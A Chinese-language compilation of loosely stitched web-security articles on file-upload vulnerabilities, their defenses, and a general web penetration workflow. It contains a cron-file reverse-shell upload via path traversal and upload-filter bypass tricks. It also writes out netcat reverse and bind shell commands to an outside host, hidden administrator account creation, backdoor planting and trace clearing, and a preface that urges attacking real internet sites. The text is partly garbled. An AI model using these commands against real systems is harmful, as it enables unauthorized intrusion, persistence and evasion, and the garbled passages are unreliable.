❶ 【Web安全】先進技術WebSocket下安全測試
什麼是WebSocket
WebSockets 是一種先進的技術。它可以在用戶的瀏覽器和伺服器之間打開互動式通信會話。允許瀏覽器和伺服器建立單個TCP連接然後進行全雙工非同步通信檔塵。允許實時更新,瀏覽器也無需向後台發送數百個新的HTTP 請求,所以對於web程序來說,WebSocket非常流行
在一次授權的APP滲透測試中,發現客服系統走的websocket
測試了幾個功能,抓到了upload的websocket介面
經過測試 發現存在任意文件上傳,且可以通過../../控制上傳文件夾,文件名也沒經過後端處理強制改名。
該站環境為Linux+nginx+各種前端框架堆起來的站,框架漏洞暫未發現,各個語言的後門也都不提供解析
也想過通過上傳html來構造xss,但是該站行悔禪採用了authorization授權,xss暫時作用不大。
隨後利用前攔上傳"定時任務"成功獲取了伺服器許可權。
利用過程:
../../../../../../../../../var/spool/cron/root 控制文件上傳位置到定時任務處
上傳反彈shell
nc監聽 泡杯咖啡~靜待一分鍾
GetShell
❷ 常見36種WEB滲透測試漏洞描述及解決方法-文件上傳
漏洞描述:文件上傳漏洞通常由於網頁代碼中的文件上傳路徑變數過濾不嚴或webserver相關解析漏洞未修復而造成的,如果文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型,攻擊者可通過 Web 訪問的目錄上傳任意文件,包括網站後門文件,進而遠程式控制制網站伺服器。
解決方法:
在前後端對上傳文件類型限制,如後端的擴展名檢測,重命名文件,MIME類型檢測以及限制上傳文件的大小,或將上傳文件放在安全路徑下;嚴格限制和校驗上傳的文件,禁止上傳惡意代碼的文件。同時限制相關目錄的執行許可權,防範webshell攻擊;對上傳文件格式進行嚴格校驗及安全掃描,防止上傳惡意腳本文件;設置許可權限制,禁止上傳目錄的執行許可權;嚴格限制可上傳的文件類型;嚴格限制上傳的文件路徑;文件擴展名服務端白名單校驗;文件內容服務端校驗;上傳文件重命名,並隱藏上傳文件路徑。
❸ 文件上傳漏洞攻擊方法有什麼
文件上傳漏洞是什麼?怎樣防禦文件上傳漏洞攻擊?文件上傳漏洞是web安全中經常利用到的一種漏洞形式。這種類型的攻擊從大的類型上來說,是攻擊 數據與代碼分離原則 的一種攻擊。
一些web應用程序中允許上傳圖片,文本或者其他資源到指定的位置,文件上傳漏洞就是利用這些可以上傳的地方將惡意代碼植入到伺服器中,再通過url去訪問以執行代碼
造成文件上傳漏洞的原因是
對於上傳文件的後綴名(擴展名)沒有做較為嚴格的限制
對於上傳文件的MIMETYPE 沒有做檢查
許可權上沒有對於上傳的文件的文件許可權,(尤其是對於shebang類型的文件)
對於web server對於上傳文件或者指定目錄的行為沒有做限制
下面就閑話一些文件上傳漏洞的防禦方式和攻擊者的繞過方式
1.前端限制
function check(){
var filename=document.getElementById("file");
var str=filename.value.split(".");
var ext=str[str.length-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){
return true;
}else{
alert("這不是圖片!")
return false;
}
return false;
}
在表單中使用onsumbit=check()調用js函數來檢查上傳文件的擴展名。這種限制實際上沒有任何用處,任何攻擊者都可以輕而易舉的破解。只能用於對於用戶完全信任的情況下,很難稱之為一種安全措施只能稱之是一種防止用戶誤操作上傳的措施,
反制:
隨便的編輯一下頁面/用burpsuite/寫個小腳本就可以突破之,無須多言
2.檢查擴展名
顧名思義,就是在文件被上傳到服務端的時候,對於文件名的擴展名進行檢查,如果不合法,則拒絕這次上傳
在這里,還有一點是值得一提的,在檢查擴展名是否合法的時候,有兩種策略
黑名單策略,文件擴展名在黑名單中的為不合法,示例代碼
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='php'||$postfix=='asp'||$postfix=='sh'){
echo "invalid file type";
return;
}
白名單策略,文件擴展名不在白名單中的均為不合法
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){
//save the file and do something next
} else {
echo "invalid file type";
return;
}
白名單策略是更加安全的,通過限制上傳類型為只有我們接受的類型,可以較好的保證安全,因為黑名單我們可以使用各種方法來進行注入和突破
反制
在一些 webserver 中,存在解析漏洞
1.老版本的IIS中的目錄解析漏洞,如果網站目錄中有一個 /.asp/目錄,那麼此目錄下面的一切內容都會被當作asp腳本來解析
2.老闆本的IIS中的分號漏洞:IIS在解析文件名的時候可能將分號後面的內容丟棄,那麼我們可以在上傳的時候給後面加入分號內容來避免黑名單過濾,如 a.asp;jpg
3.舊版Windows Server中存在空格和dot漏洞類似於 a.php. 和 a.php[空格] 這樣的文件名存儲後會被windows去掉點和空格,從而使得加上這兩個東西可以突破過濾,成功上傳,並且被當作php代碼來執行
4.nginx空位元組漏洞 xxx.jpg%00.php 這樣的文件名會被解析為php代碼運行
5.apache的解析漏洞,上傳如a.php.rar a.php.gif 類型的文件名,可以避免對於php文件的過濾機制,但是由於apache在解析文件名的時候是從右向左讀,如果遇到不能識別的擴展名則跳過,rar等擴展名是apache不能識別的,因此就會直接將類型識別為php,從而達到了注入php代碼的目的
3.檢查HTTP Header中的Content-Type
HTTP協議規定了上傳資源的時候在Header中加上一項文件的MIMETYPE,來識別文件類型,這個動作是由瀏覽器完成的,服務端可以檢查此類型不過這仍然是不安全的,因為HTTP header可以被發出者或者中間人任意的修改,不過加上一層防護也是可以有一定效果的
反制
使用各種各樣的工具(如burpsuite)強行篡改Header就可以,太容易將header中的
Content-Type: application/php
或者其他類型
改為
Content-Type: image/jpg
Content-Type: image/png
Content-Type: text/plain
等這些web程序允許的淚洗改附上常用的MIMETYPE表
text/plain(純文本)
text/html(HTML文檔)
text/javascript(js代碼)
application/xhtml+xml(XHTML文檔)
image/gif(GIF圖像)
image/jpeg(JPEG圖像)
image/png(PNG圖像)
video/mpeg(MPEG動畫)
application/octet-stream(二進制數據)
application/pdf(PDF文檔)
application/(編程語言) 該種語言的代碼
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML郵件的HTML形式和純文本形式,相同內容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表單)
multipart/form-data(POST提交時伴隨文件上傳的表單)
4.分析文件頭內容來檢查文件類型
與方法2不同,還有一種檢查類型的方式是使用對於文件內容的驗證機制,這種方法利用的是每一個特定類型的文件都會有不太一樣的開頭或者標志位。可以通過比如php的exif_imagetype()函數,一個通過這種方法來過濾的示例代碼如下:
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
return;
}
也可以自己編寫函數來進行識別,圖片文件通常有稱作幻數的頭位元組,我們來看一下幾種圖片文件的幻數:
(注意!下面是二進制而不是文本格式的數據)
JPG
FF D8 FF E0 00 10 4A 46 49 46
GIF
47 49 46 38 39 61
(相當於文本的GIF89a)
PNG
89 50 4E 47
通過檢查頭幾位位元組,可以分辨是否是圖片文件
如果是其他類型的二進制文件,也有響應的頭位元組,如下表
反制
給上傳腳本加上相應的幻數頭位元組就可以,php引擎會將
(一般不限制圖片文件格式的時候使用GIF的頭比較方便,因為全都是文本可列印字元。)
GIF89a
do_something();
?>
如果是其他類型的二進制文件,也有響應的頭位元組,如下表
格式
文件頭
TIFF (tif)
49492A00
Windows Bitmap (bmp)
424D
CAD (dwg)
41433130
Adobe Photoshop (psd)
38425053
Rich Text Format (rtf)
7B5C727466
MS Word/Excel (xls.or.doc)
D0CF11E0
MS Access (mdb)
5374616E64617264204A
ZIP Archive (zip),
504B0304
RAR Archive (rar),
7221
Wave (wav),
57415645
AVI (avi),
41564920
Real Media (rm),
2E524D46
MPEG (mpg),
000001BA
MPEG (mpg),
000001B3
Quicktime (mov),
6D6F6F76
Adobe Acrobat (pdf),
255044462D312E
Windows Media (asf),
3026B2758E66CF11
MIDI (mid),
4D546864
5.限制Web Server對於特定類型文件的行為
導致文件上傳漏洞的根本原因在於服務把用戶上傳的本應是數據的內容當作了代碼,一般來說,用戶上傳的內容都會被存儲到特定的一個文件夾下,比如我們很多人習慣於放在 ./upload/ 下面要防止數據被當作代碼執行,我們可以限制web server對於特定文件夾的行為。
大多數服務端軟體都可以支持用戶對於特定類型文件的行為的自定義,以Apache為例:
在默認情況下,對與 .php文件Apache會當作代碼來執行,對於 html,css,js文件,則會直接由HTTP Response交給客戶端程序對於一些資源文件,比如txt,doc,rar等等,則也會以文件下載的方式傳送的客戶端。我們希望用戶上傳的東西僅僅當作資源和數據而不能當作代碼
因此可以使用伺服器程序的介面來進行限制
以Apache為例,我們可以利用 .htaccess 文件機制來對web server行為進行限制
在這里插一句,如果不是專門的文件下載目錄,請務必關掉文件夾瀏覽的許可權,以防止嗅探和可能的越權,也是使用.htaccess文件,在其中加上一句
Options All -Indexes
即可。
禁止腳本執行有多種方式可以實現,而且分別有不同的效果,我們分別來看一下
1.指定特定擴展名的文件的處理方式,原理是指定Response的Content-Type可以加上如下幾行
AddType text/plain .pl .py .php
這種情況下,以上幾種腳本文件會被當作純文本來顯示出來,你也可以換成其他的Content-Type
2.如果要完全禁止特定擴展名的文件被訪問,用下面的幾行
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi識別
在這種情況下,以上幾種類型的文件被訪問的時候,會返回403 Forbidden的錯誤
3.也可以強制web伺服器對於特定文件類型的處理,與第一條不同的是, 下面的方法直接強行讓apache將文件識別為你指定的類型,而第一種是讓瀏覽器
ForceType text/plain
看代碼就可以很明白的知道,符合上面正則的全部被認為是純文本,也可以繼續往裡面加入其他類型。
4.只允許訪問特定類型的文件
order deny,allow
deny from all
在一個上傳圖片的文件夾下面,就可以加上這段代碼,使得該文件夾裡面只有圖片擴展名的文件才可以被訪問,其他類型都是拒絕訪問。
這又是一個白名單的處理方案
永遠記得,白名單是最有保障的安全措施
可以通過 move_uploaded_file 函數把自己寫的.htaccess 文件上傳,覆蓋掉伺服器上的文件,來定義文件類型和執行許可權如果做到了這一點,將獲得相當大的許可權。
❹ Web滲透技術及實戰案例解析的內容簡介
本書從Web滲透的專業角度,結合網路安全中的實際案例,圖文並茂地再現Web滲透的精彩過程。本書共分7章,由淺入深地介紹和分析了目前網路流行的Web滲透攻擊方法和手段,並結合作者多年的網路安全實踐經驗給出了相對應的安全防範措施,對一些經典案例還給出了經驗總結和技巧,通過閱讀本書可以快速掌握目前Web滲透的主流技術。本書最大的特色就是實用和實戰性強,思維靈活。內容主要包括Web滲透必備技術、Google黑客技術、文件上傳滲透技術、sql注入、高級滲透技術、0day攻擊和Windows提權與安全防範等。
前言
經過近一年時間的艱辛苦戰,終於將本書完成。本書是我寫的第三本書,主要從Web滲透的專業角度來討論網路安全的攻防技術,盡可能地再現Web滲透場景,每一個小節都代表某一個場景,此書是我工作數年的總結,最後終於不辱使命將所有成果放在本書中與大家分享。
本書是在我上一本書《黑客攻防及實戰案例解析》基礎上的又一本安全類書籍,主要討論Web滲透攻防技術。攻擊與防護是辯證統一的關系,掌握了攻擊技術,也就掌握了防護技術。Web滲透是網路安全攻防的最熱門技術,通過滲透Web伺服器,利用已有信息,逐漸深入公司或者大型網路,最終完成滲透目標。
最近二年來網路安全特別火爆,可以說從事網路安全還是蠻有前途的職業之一。目前網路安全界非常缺人,特別是在2011年CSDN、天涯等大型網站用戶資料庫泄露後,各大公司對安全人士求賢若渴,掌握網路安全攻防技術,擁有豐富經驗的從業人員,年薪一般在10萬以上,能夠獨立挖掘漏洞的從業人員年薪一般在20萬以上。其實Web安全滲透技術也不是那麼高不可攀,只要自己鎖定這個方向,持之以恆,不斷地進行試驗和研究,終將成為一名高手,而且安全攻防技術還跟學歷無關,很多技術高手都沒有上過大學。
Web滲透攻防技術可以通過以下方法來自學,一是通過安全站點漏洞更新通告、安全文章,了解漏洞的形成原理和利用過程,掌握漏洞的核心原理;二是在本地搭建試驗環境進行實際測試,掌握漏洞利用方法;三是在互聯網上對存在漏洞的站點進行實際操作,在真實環境下進行驗證,提出修補漏洞的方法。在技術研究的同時還要做好記錄,總結失敗和成功的方法,積累技巧和經驗,我曾經看過一位牛人,Web漏洞收集超過10GB數據!
本書以Web滲透攻擊與防禦為主線,主要通過典型的滲透實際案例來介紹Web滲透和防禦技術,在每一個小節中除了技術原理外,還對這些技術進行總結和提煉,掌握和理解這些技術後,讀者在遇到類似的滲透場景時可以自己去進行滲透。本書採用最為通俗易懂的圖文解說,按照書中的步驟即可還原當時的攻防情景。通過閱讀本書,初學者可以很快掌握Web攻防的流程、最新的一些技術和方法,有經驗的讀者可以在技術上更上一層樓,使攻防技術從理論和實踐中更加系統化,同時可以使用本書中介紹的一些防禦方法來加固伺服器系統。
本書共分為7章,由淺入深,依照Web攻防的一些技術特點安排內容,每一小節都是一個具體Web攻防技術的典型應用,同時結合案例給予講解,並給出一些經典的總結。本書主要內容安排如下。
第1章 Web滲透必備技術
介紹Web滲透的一些必備的基本知識,創建和使用VPN隱藏自己,獲取操作系統密碼、破解MD5密碼、破解MySQL密碼、資料庫還原等,這些技術可以在Web滲透中使用,也可以在網路管理中使用。
第2章 Google——我愛你又恨你
利用Google等搜索引擎技術來獲取信息,輔助Web滲透,在某些場景中往往會起到意想不到的效果,也被稱為Nday攻擊(0day後的數天持續攻擊)。在進行Web攻防技術研究的同時,可以通過Google來進行實際演練,最好的效果就是網上爆出漏洞後利用Goolge技術來抓肉雞。
第3章 都是上傳惹的禍
上傳是Web滲透中最容易獲得WebShell的捷徑之一,在本章中介紹了如何利用WebEditor、FCKeditor、CuteEditor等典型編輯器漏洞來獲取WebShell的方法,同時還對登錄繞過後通過Flash上傳、文件上傳等方法來獲取WebShell進行探討。
第4章 SQL注入——滲透主樂章
SQL注入是Web滲透的核心技術,本章主要介紹使用SQL注入方法獲取WebShell,穿插介紹使用多種掃描軟體、攻擊工具來滲透Web伺服器並提權。
第5章 高級滲透技術
本章介紹如何充分利用多種技術組合,結合巧妙的思路,最終成功滲透一些高難度的Web伺服器。
第6章 0day攻擊
0day是Web滲透中的「神器」,幾乎是無往不勝,所向披靡,本章介紹利用Discuz!6.0、Discuz!7.2、Discuz!NT、PHP168、WordPress、Citrix、Art2008cms、Phpcms2008sp4等0day滲透Web伺服器的一些方法。
第7章 Windows提權與安全防範
獲取WebShell後,獲得伺服器許可權一直是Web滲透的終極目標,本章對主流的一些提權方法進行介紹,掌握這些方法和原理後,可以舉一反三,觸類旁通。最後還對如何設置一個安全「變態」的Web伺服器進行介紹。
雖然本書內容已經很豐富與完整,但仍然無法涵蓋所有的Web滲透的技術,但通過本書的學習,可以快速了解和掌握Web滲透技術,加固自己的伺服器。本書的目的是通過Web滲透技術並結合一些案例來探討網路安全,更好地加固Web伺服器、遠離黑客的威脅。
❺ 如何在Web頁上實現文件上傳
JAVA WEB文件上傳步驟如下:
實現 Web 開發中的文件上傳功能,兩個操作:在 Web 頁面添加上傳輸入項,在 Servlet 中讀取上傳文件的數據並保存在本地硬碟中。
1、Web 端上傳文件。在 Web 頁面中添加上傳輸入項:<input type="file"> 設置文件上傳輸入項時應注意:(1) 必須設置 input 輸入項的 name 屬性,否則瀏覽器將不會發送上傳文件的數據。(2) 必須把 form 的 enctype 屬性設為 multipart/form-data,設置該值後,瀏覽器在上傳文件時,將把文件數據附帶在 http 請求消息體中,並使用 MIME 協議對上傳文件進行描述,以方便接收方對上傳數據進行解析和處理。(3) 表單提交的方式要是 post
❻ 什麼是文件上傳漏洞
文件上傳漏洞:
允許用戶上傳任意文件可能會讓攻擊者注入危險內容或惡意代碼,並在伺服器上運行。
任意文件上傳漏洞原理:
由於文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型,導致允許攻擊者向 某個可通過 Web 訪問的目錄上傳任意PHP 文件,並能夠將這些文件傳遞給 PHP 解釋器,就 可以在遠程伺服器上執行任意PHP 腳本。
❼ web滲透是什麼
Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。
Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。
信息收集
信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。
DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)
整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;
網站常見搭配為:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目錄信息(御劍,dirbust)
開放埠信息(nmp)
漏洞掃描
利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。
常見漏洞:
SQL注入
XSS跨站腳本
CSRF跨站請求偽造
XXE(XML外部實體注入)漏洞
SSRF(服務端請求偽造)漏洞
文件包含漏洞
文件上傳漏洞
文件解析漏洞
遠程代碼執行漏洞
CORS跨域資源共享漏洞
越權訪問漏洞
目錄遍歷漏洞和任意文件讀取/下載漏洞
漏洞利用
用工具也好什麼也好對相應漏洞進行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
後台密碼爆破(burp)
埠爆破(hydra)
提權
獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權
內網滲透
首先進行埠轉發可用nc
nc使用方法:
反向連接
在公網主機上進行監聽:
nc-lvp 4444
在內網主機上執行:
nc-e cmd.exe 公網主機ip4444
成功之後即可得到一個內網主機shell
正向連接
遠程主機上執行:
nc-l -p 4444 -t -e cmd.exe
本地主機上執行:
nc-vv 遠程主機ip4444
成功後,本地主機即可遠程主機的一個shell
然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門
留後門
對於網站上傳一句話木馬,留下後門
對於windows用戶可用hideadmin創建一個超級隱藏賬戶
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。